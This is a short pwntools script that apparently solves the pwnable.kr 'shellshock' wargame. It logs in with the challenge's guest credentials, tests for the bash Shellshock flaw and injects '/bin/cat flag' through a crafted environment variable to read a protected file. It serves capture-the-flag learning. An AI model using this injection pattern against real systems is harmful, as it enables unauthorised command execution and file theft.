exploit.py

"""
CVE about shellshock.
Google will help.
classic exploitation:
    env x='() { :;}; arbitrary_commands_here' bash -c "echo test"
"""
from pwn import *


def exploit():
    s = ssh(user='shellshock', host='pwnable.kr', password='guest', port=2222)
    # Check if it is vulnerable
    test = """env x='() { :;}; echo vulnerable!!!' ./bash -c 'echo test'"""
    p = s.process(test, shell=True)
    print(p.recvall().decode('utf-8'))
    p.close()
    # If it is vulnerable then we can execute arbitrary command in place `echo vulnerable!!!`
    # If we try to execute 'cat flag'. It won't work because, firstly, we don't have a permission
    # And, secondly, we can't execute just cat.
    cat_flag = """env x='() { :;}; /bin/cat flag' ./shellshock"""
    p = s.process(cat_flag, shell=True)
    print(p.recvall().decode('utf-8'))
    p.close()


if __name__=='__main__':
    exploit()